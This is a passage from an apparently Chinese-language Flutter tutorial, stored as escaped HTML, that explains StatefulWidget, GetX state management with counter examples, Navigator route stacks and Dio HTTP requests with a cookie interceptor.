class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etextTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheadlineMedium\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003efloatingActionButton:\u003c/span\u003e \u003cspan class=\"n\"\u003eFloatingActionButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意这里,这个按钮按下的时候,会执行这个函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etooltip:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Increment\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStatefulWidget 适合于一个小部件内部短时状态的维护。如果我们要搞牵扯到许多部件,乃至于各个页面的共同状态,就很难办了。这里我要给大家介绍一个我日常在使用的状态管理器:GetX。\u003c/p\u003e\n\u003ch3 id=\"getx\"\u003eGetX\u003c/h3\u003e\n\u003cp\u003eGetX 是三个库的集合:状态管理,路由管理,和依赖管理。这里只关注状态管理。\u003c/p\u003e\n\u003ch4 id=\"getx-观察者模式状态管理\"\u003eGetX 观察者模式状态管理\u003c/h4\u003e\n\u003cp\u003e第一个状态管理使用的是obs-\u0026gt;观察者模式,我们记住这么几点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e在变量初始化的时候,初始化值的后面添加\u003ccode\u003e.obs\u003c/code\u003e来使其可观察化\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用\u003ccode\u003eObx\u003c/code\u003e部件来渲染需要用到可观察化变量的部件\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用平常的方法修改可观察化变量的值\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e比如这个计数器应用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:get/get.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 在 GetX 中,给变量添加 .obs 就可以使其被观察\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这时,他的类型不再是值的类型了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0.\u003c/span\u003e\u003cspan class=\"n\"\u003eobs\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMainApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意这里 Obx 部件,他能获取对应的可观察部件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// GetX 保证这个寻找是相当快的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eObx\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Clicks: \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里没用 setState,仅仅对该可观察变量里面的值修改即可\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Add it!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003efontSize:\u003c/span\u003e \u003cspan class=\"m\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"getx-控制器类状态管理\"\u003eGetX 控制器类状态管理\u003c/h4\u003e\n\u003cp\u003e再给大家介绍一下\u003ccode\u003eGetxController\u003c/code\u003e,我 PDA 用的后者更多。\u003c/p\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\u003c/p\u003e\n\u003cp\u003e每个 GetX Controller 都是继承 GetController 虚拟类的一个类。这个类里面,除了你要使用到的值和方法,还有两个方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eonInit():在这个控制器初始化的时候使用。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eonReady():在这个控制器刚初始化(时间大约一帧后)运行,处理异步请求。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在使用控制器的时候,我们可以直接用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eGetBuilder\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eController\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ebuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e建议阅读 Traintime PDA 代码中的\u003ccode\u003econtroller/sport_controller.dart\u003c/code\u003e,\u003ccode\u003erepository/xidian_sport/xidian_sport_session.dart\u003c/code\u003e,以及 page 下面关于体育部件的代码。以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eController(GetX Controller) – Model(Dio网络库) – View(Flutter)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"杂项\"\u003e杂项\u003c/h2\u003e\n\u003ch3 id=\"路由栈\"\u003e路由栈\u003c/h3\u003e\n\u003cp\u003e栈是先进后出的结构,而路由栈里面,存的是每个页面的信息了。在 Flutter 中,我们这么处理路由栈:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个是说压入路由栈,进入这个页面。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个是说弹出路由栈的顶,也就是返回上一个页面\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 可以做到按需弹栈,然后压栈\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epushNamedAndRemoveUntil\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 弹栈之后要压入的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRoute\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这个是判断栈顶元素是否符合要求的函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这里面的 context 是指,这个应用,或者这个部件的状态。\u003c/p\u003e\n\u003ch3 id=\"dio-网络插件\"\u003eDio 网络插件\u003c/h3\u003e\n\u003cp\u003eFlutter 提供了很多的插件,来方便我们的开发体验。其中最著名的就是 Dio 网络库。他是一个异步网络访问库,使用方式和 axios 比较像。\u003c/p\u003e\n\u003cp\u003e先说明一下拦截器,它可以在获取回复/发送请求时,先拦截之,然后对该包进行修改。\u003c/p\u003e\n\u003cp\u003eDio 类的定义,其中我用到了拦截器和对基地址的设置,设置了这个,后面的访问就可以输入那个网站的子路由了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Maybe I wrote how to store the data is better.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003e_dio\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDio\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDio\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBaseOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebaseUrl:\u003c/span\u003e \u003cspan class=\"n\"\u003e_baseURL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003econtentType:\u003c/span\u003e \u003cspan class=\"n\"\u003eHeaders\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eformUrlEncodedContentType\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这个拦截器是 Cookie 管理器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einterceptors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eCookieManager\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSportCookieJar\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDio 的使用示例,它可以支持 POST,GET 等常见的 HTTP 请求方式。可以设定传输参数,请求头等很多东西。它的返回和 axios 大致相同,有响应数据,响应代码等。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etermStartDay\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kd\"\u003eawait\u003c/span\u003e \u003cspan class=\"n\"\u003edio\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epost\u003c/span\u003e\u003cspan 